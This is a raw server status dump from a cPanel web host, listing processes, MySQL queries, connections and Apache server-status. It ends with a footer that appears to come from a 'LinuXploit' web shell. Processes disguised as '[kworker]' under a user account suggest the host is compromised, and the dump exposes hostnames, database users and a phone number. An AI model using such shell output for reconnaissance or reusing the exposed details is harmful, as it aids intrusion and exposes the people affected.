telegraf    963  0.0  1.4 5654048 36108 ?       SLsl Nov16   0:09 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        964  0.0  0.0 153404   220 ?        Ss   Nov16   0:00 pure-ftpd (SERVER)
root        967  0.0  0.0 400740   760 ?        Ss   Nov16   0:02 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
workflo+  43076  3.0  1.4 497932 34100 ?        S    03:59   0:00  \_ php-fpm: pool blog_workflow-management-software_com
workflo+  43086  2.7  1.3 497704 32316 ?        S    03:59   0:00  \_ php-fpm: pool blog_workflow-management-software_com
nigeria   43345  0.0  0.1 400460  4420 ?        S    04:00   0:00  \_ php-fpm: pool nigeriadecide_org
systuser    968  0.0  0.0 112524    32 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
memcach+    969  0.0  0.0 342400     0 ?        Ssl  Nov16   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        974  0.0  0.0 389508   308 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       1123  0.0  0.1 248032  3580 ?        Ss   Nov16   0:04 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       8393  0.0  1.8 266004 45076 ?        S    Nov16   0:03  \_ spamd child
root       8394  0.0  0.0 248032  2112 ?        S    Nov16   0:00  \_ spamd child
systuser   1168  0.0  0.1 157704  2968 ?        S    Nov16   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1176  0.0  0.1 387556  2656 ?        Ss   Nov16   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1177  0.0  0.3 412368  8948 ?        Ss   Nov16   0:05 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1211  0.0  0.3 209308  7436 ?        Ss   Nov16   0:01 tailwatchd
root       1213  0.0  1.0 262224 24492 ?        Ss   Nov16   0:00 cpdavd - accepting connections on: 2091, 2077, 2078
root       1216  0.0  0.0 167452  1204 ?        Ss   Nov16   0:00 dnsadmin - dormant mode
root       1627  0.0  0.0 299272   392 ?        Ss   Nov16   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1673  0.0  0.0 130416  1340 ?        SN   Nov16   0:00 cpanellogd - sleeping for logs
root       1928  0.0  0.2 266984  4956 ?        Ss   Nov16   0:02 /usr/sbin/httpd -k start
root       1932  0.0  0.0  12844   324 ?        S    Nov16   0:02  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1933  0.0  0.0  12732   260 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1934  0.0  0.0  12888   332 ?        S    Nov16   0:02  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1939  0.0  0.0  53256     4 ?        S    Nov16   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    23411  0.1  0.5 277844 12232 ?        S    03:38   0:01  \_ /usr/sbin/httpd -k start
nobody    25641  0.1  0.7 277876 18012 ?        S    03:41   0:01  \_ /usr/sbin/httpd -k start
nobody    25806  0.1  0.7 277616 18308 ?        S    03:41   0:02  \_ /usr/sbin/httpd -k start
cloudw    43499  0.0  0.6 353712 15976 ?        S    04:00   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    28078  0.1  0.8 277820 19968 ?        S    03:44   0:01  \_ /usr/sbin/httpd -k start
nobody    29075  0.1  0.8 277740 20160 ?        S    03:45   0:01  \_ /usr/sbin/httpd -k start
nobody    29723  0.1  0.8 277816 19860 ?        S    03:45   0:01  \_ /usr/sbin/httpd -k start
nobody    33338  0.1  0.8 277768 19540 ?        S    03:49   0:00  \_ /usr/sbin/httpd -k start
nobody    34451  0.1  0.7 277600 19116 ?        S    03:50   0:00  \_ /usr/sbin/httpd -k start
nobody    35100  0.1  0.7 277680 19172 ?        S    03:51   0:00  \_ /usr/sbin/httpd -k start
nobody    36035  0.1  0.8 277744 19624 ?        S    03:52   0:00  \_ /usr/sbin/httpd -k start
nobody    36797  0.1  0.7 277876 18868 ?        S    03:53   0:00  \_ /usr/sbin/httpd -k start
nobody    38052  0.1  0.7 277744 19064 ?        S    03:54   0:00  \_ /usr/sbin/httpd -k start
nobody    38191  0.2  0.7 277824 19140 ?        S    03:54   0:00  \_ /usr/sbin/httpd -k start
nobody    40017  0.1  0.7 277620 18568 ?        S    03:56   0:00  \_ /usr/sbin/httpd -k start
nobody    40033  0.1  0.7 277744 18592 ?        S    03:56   0:00  \_ /usr/sbin/httpd -k start
nobody    40055  0.1  0.7 277680 18704 ?        S    03:56   0:00  \_ /usr/sbin/httpd -k start
nobody    41277  0.1  0.7 277744 17472 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    41278  0.1  0.7 277744 18784 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    42083  0.1  0.7 277740 18088 ?        S    03:58   0:00  \_ /usr/sbin/httpd -k start
nobody    42475  0.0  0.7 277744 18200 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    42525  0.2  0.7 277876 17492 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    42606  0.2  0.7 277484 17664 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    43150  0.0  0.6 277716 16844 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    43333  0.0  0.6 277600 16652 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    43334  0.0  0.6 277600 16648 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody    43346  0.0  0.6 277304 16352 ?        S    04:00   0:00  \_ /usr/sbin/httpd -k start
nobody    43347  0.0  0.6 277600 16652 ?        S    04:00   0:00  \_ /usr/sbin/httpd -k start
nobody    43348  0.0  0.6 277308 16132 ?        S    04:00   0:00  \_ /usr/sbin/httpd -k start
cloudw    43502  0.0  0.6 353712 15976 ?        S    04:00   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    43349  0.0  0.6 277600 16640 ?        S    04:00   0:00  \_ /usr/sbin/httpd -k start
mysql      2639  1.3 10.4 1468028 253352 ?      Sl   Nov16   3:52 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
oysipao+  40045  0.0  0.0   3148    16 ?        Ss   00:00   0:00 [kworker]
oysipao+  40049  0.0  0.0   3152    44 ?        S    00:00   0:00  \_ [kworker]
root      40218  0.1  0.3 182416  8328 ?        Ss   00:00   0:14 lfd - sleeping
root      10515  0.0  0.1 132964  2804 ?        SN   03:25   0:00 ConfigServer Version Check
root      10528  0.0  0.0 108056    28 ?        SN   03:25   0:00  \_ sleep 16186
## mysql stats
Uptime: 16828  Threads: 4  Questions: 1357326  Slow queries: 0  Opens: 8186  Flush tables: 1  Open tables: 2000  Queries per second avg: 80.658
*************************** 1. row ***************************
     Id: 19154
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 19157
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Query
   Time: 0
  State: init
   Info: SELECT * FROM `09` WHERE `phone`='2348064910674' LIMIT 1
*************************** 3. row ***************************
     Id: 19166
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 103.133.214.209 TIME_WAIT
      1 114.119.148.184 TIME_WAIT
      1 114.119.150.65 TIME_WAIT
      1 122.117.102.125 TIME_WAIT
      1 142.44.220.117 TIME_WAIT
      1 15.235.27.112 TIME_WAIT
      1 173.199.190.172 TIME_WAIT
      1 173.236.217.44 TIME_WAIT
      1 192.178.4.104 TIME_WAIT
      1 192.178.4.98 TIME_WAIT
      1 ::1 TIME_WAIT
      1 3.138.239.76 TIME_WAIT
      1 54.39.0.176 TIME_WAIT
      1 54.39.6.246 TIME_WAIT
      1 66.42.61.4 TIME_WAIT
      1 94.250.251.7 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 103.36.103.52 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      2 161.97.170.156 TIME_WAIT
      2 173.199.190.174 TIME_WAIT
      2 173.236.139.190 TIME_WAIT
      2 52.215.86.173 TIME_WAIT
     22 104.248.90.230 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Monday, 17-Nov-2025 04:00:02 WAT
   Restart Time: Sunday, 16-Nov-2025 23:18:49 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 4 hours 41 minutes 13 seconds
   Server load: 0.42 0.70 0.75
   Total accesses: 98938 - Total Traffic: 2.5 GB - Total Duration: 50607203
   CPU Usage: u12.22 s6.92 cu1348.6 cs1113.47 - 14.7% CPU load
   5.86 requests/sec - 153.4 kB/second - 26.2 kB/request - 511.504 ms/request
   24 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

KKKKKWKKKKKK_K_KKKKK_KW_K_KKK...................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID      Acc     M CPU   SS   Req   Dur   Conn  Child  Slot      Client     Protocol         VHost                                      Request
   0-0  28078 1/307/4460  K 6.15 2     269 2343074 35.3  7.87  112.93 66.249.70.106  http/1.1 team.cloudware.ng:443  GET /?l=3076605831 HTTP/1.1
   1-0  25806 23/338/3935 K 8.97 0     514 2070127 705.3 10.90 113.51 192.178.4.105  http/1.1 team.cloudware.ng:443  GET /?l=3095946539 HTTP/1.1
   2-0  25641 1/314/4278  K 8.87 4     295 2079245 36.4  8.24  105.18 192.178.4.96   http/1.1 team.cloudware.ng:443  GET /?l=54673802 HTTP/1.1
   3-0  43150 1/2/4152    K 0.00 2     275 2057945 33.6  0.03  103.11 66.249.70.65   http/1.1 team.cloudware.ng:443  GET /?l=3849988776 HTTP/1.1
   4-0  42083 1/17/4155   K 0.26 2     262 1974798 34.0  0.36  104.28 66.249.70.108  http/1.1 team.cloudware.ng:443  GET /?l=2470242667 HTTP/1.1
   5-0  23411 0/325/3858  W 8.35 0     0   1937516 0.0   9.47  100.83 ::1            http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   6-0  41277 1/35/4071   K 1.01 3     271 2009382 37.2  1.04  102.05 66.249.70.5    http/1.1 team.cloudware.ng:443  GET /?l=2783859202 HTTP/1.1
   7-0  42475 1/11/3868   K 0.08 3     329 1984555 37.3  0.20  99.20  66.249.64.42   http/1.1 team.cloudware.ng:443  GET /?l=1564638302 HTTP/1.1
   8-0  34451 10/149/3965 K 3.73 1     23  1899400 12.8  4.70  95.95  66.249.70.7    http/1.1 test.cloudware.ng:443  GET /3008496486?goodscode=3004554266 HTTP/1.1
   9-0  35100 1/142/3887  K 3.49 1     270 1970106 34.2  3.68  99.97  66.249.64.33   http/1.1 team.cloudware.ng:443  GET /?l=2322488001 HTTP/1.1
   10-0 42525 1/18/3928   K 0.39 3     261 2004783 35.1  0.47  102.37 66.249.70.162  http/1.1 team.cloudware.ng:443  GET /?l=2231941540 HTTP/1.1
   11-0 33338 1/168/3594  K 4.21 2     273 1852930 33.8  4.72  91.63  66.249.70.168  http/1.1 team.cloudware.ng:443  GET /?l=965713078 HTTP/1.1
   12-0 36797 0/111/3655  _ 2.94 0     0   1880898 0.0   2.70  94.19  127.0.0.1      http/1.1 chs1.nescrow.com.ng:80 GET /whm-server-status HTTP/1.0
   13-0 41278 1/25/3788   K 0.60 2     301 1942164 36.2  0.90  94.73  66.249.64.105  http/1.1 team.cloudware.ng:443  GET /?l=2203203820 HTTP/1.1
   14-0 29075 0/243/3459  _ 6.51 0     0   1765767 0.0   8.04  89.40  ::1            http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   15-0 42606 1/18/3387   K 0.31 3     298 1757674 36.1  0.36  87.97  66.249.64.4    http/1.1 team.cloudware.ng:443  GET /?l=3139950458 HTTP/1.1
   16-0 38052 1/81/3610   K 2.03 0     351 1823948 33.9  2.14  92.28  66.249.64.101  http/1.1 team.cloudware.ng:443  GET /?l=2032145487 HTTP/1.1
   17-0 38191 1/149/3465  K 1.41 3     264 1813613 35.6  3.63  92.50  66.249.64.100  http/1.1 team.cloudware.ng:443  GET /?l=2292219152 HTTP/1.1
   18-0 40017 1/55/3161   K 1.43 1     273 1638674 34.5  1.74  83.48  66.249.64.66   http/1.1 team.cloudware.ng:443  GET /?l=4062440945 HTTP/1.1
   19-0 43333 1/1/2830    K 0.00 1     295 1456074 35.5  0.03  75.56  66.249.64.65   http/1.1 team.cloudware.ng:443  GET /?l=2619554758 HTTP/1.1
   20-0 40033 0/65/2948   _ 1.82 0     295 1519292 0.0   1.70  73.84  192.178.4.100  http/1.1 team.cloudware.ng:443  GET /?l=4265895159 HTTP/1.1
   21-0 36035 2/136/2694  K 3.50 2     312 1457164 67.3  4.10  74.51  66.249.64.226  http/1.1 team.cloudware.ng:443  GET /?l=2275385614 HTTP/1.1
   22-0 40055 0/62/2023   W 1.55 0     0   1258526 0.0   1.86  48.98  66.249.70.3    http/1.1 team.cloudware.ng:443  GET /?l=1661310646 HTTP/1.1
   23-0 29723 0/269/2211  _ 6.39 0     261 1085253 0.0   6.61  56.20  192.178.4.101  http/1.1 team.cloudware.ng:443  GET /?l=1657056317 HTTP/1.1
   24-0 43334 1/1/2153    K 0.00 1     303 1105430 37.7  0.04  54.10  66.249.70.68   http/1.1 team.cloudware.ng:443  GET /?l=3735746800 HTTP/1.1
   25-0 43346 0/1/1466    _ 0.00 0     8   722880  0.0   0.01  37.30  114.119.150.65 http/1.1 nigeriadecide.org:443  GET /polling_unit_category.php?state=Delta&lga=Ethiope%20%20eas
   26-0 43347 1/1/1335    K 0.00 0     360 627220  34.4  0.03  29.58  66.249.70.141  http/1.1 team.cloudware.ng:443  GET /?l=2222567071 HTTP/1.1
   27-0 43348 1/1/944     K 0.00 0     507 748374  34.2  0.03  24.31  66.249.64.7    http/1.1 team.cloudware.ng:443  GET /?l=3749091965 HTTP/1.1
   28-0 43349 1/1/1205    K 0.00 0     327 611422  35.4  0.03  29.59  66.249.70.68   http/1.1 team.cloudware.ng:443  GET /?l=2445017857 HTTP/1.1
   29-0 -     0/0/576     . 0.00 849   0   272126  0.0   0.00  13.52  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   30-0 -     0/0/1150    . 0.00 834   0   560685  0.0   0.00  26.86  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   31-0 -     0/0/717     . 0.00 847   0   325970  0.0   0.00  15.89  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   32-0 -     0/0/237     . 0.00 762   0   98062   0.0   0.00  4.68   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   33-0 -     0/0/176     . 0.00 819   0   86694   0.0   0.00  5.18   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   34-0 -     0/0/355     . 0.00 796   0   184428  0.0   0.00  9.27   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   35-0 -     0/0/586     . 0.00 1013  0   324653  0.0   0.00  16.02  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   36-0 -     0/0/239     . 0.00 833   0   125237  0.0   0.00  6.18   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   37-0 -     0/0/370     . 0.00 1026  0   194052  0.0   0.00  9.01   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   38-0 -     0/0/160     . 0.00 961   0   86409   0.0   0.00  4.07   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   39-0 -     0/0/427     . 0.00 1016  0   221231  0.0   0.00  11.39  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   40-0 -     0/0/128     . 0.00 891   0   35694   0.0   0.00  2.32   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   41-0 -     0/0/34      . 0.00 892   0   15628   0.0   0.00  0.83   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   42-0 -     0/0/43      . 0.00 12834 0   22487   0.0   0.00  0.98   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   43-0 -     0/0/114     . 0.00 12977 0   52913   0.0   0.00  2.30   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   44-0 -     0/0/661     . 0.00 10619 0   366544  0.0   0.00  17.77  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   45-0 -     0/0/42      . 0.00 12982 0   19040   0.0   0.00  0.83   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   46-0 -     0/0/11      . 0.00 12955 0   5124    0.0   0.00  0.16   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   47-0 -     0/0/20      . 0.00 12916 0   7973    0.0   0.00  0.58   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   48-0 -     0/0/83      . 0.00 12667 0   40607   0.0   0.00  1.94   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   49-0 -     0/0/37      . 0.00 12970 0   18588   0.0   0.00  0.72   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   50-0 -     0/0/7       . 0.00 12965 0   3381    0.0   0.00  0.08   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   51-0 -     0/0/9       . 0.00 12939 0   3457    0.0   0.00  0.11   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   52-0 -     0/0/2       . 0.00 15674 0   1702    0.0   0.00  0.01   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   53-0 -     0/0/7       . 0.00 15650 0   2649    0.0   0.00  0.07   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   54-0 -     0/0/2       . 0.00 15673 0   1806    0.0   0.00  0.01   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   55-0 -     0/0/27      . 0.00 15595 0   13156   0.0   0.00  0.55   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   56-0 -     0/0/189     . 0.00 14840 0   98784   0.0   0.00  5.53   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   57-0 -     0/0/44      . 0.00 15535 0   19861   0.0   0.00  0.82   ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1519
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 7 seconds, (range: 0...27)
   index usage: 26%, cache usage: 36%
   total entries stored since starting: 73962
   total entries replaced since starting: 0
   total entries expired since starting: 72430
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 18 hit, 312 miss
   total removes since starting: 13 hit, 11 miss

Youez - 2016 - github.com/yon3zu
LinuXploit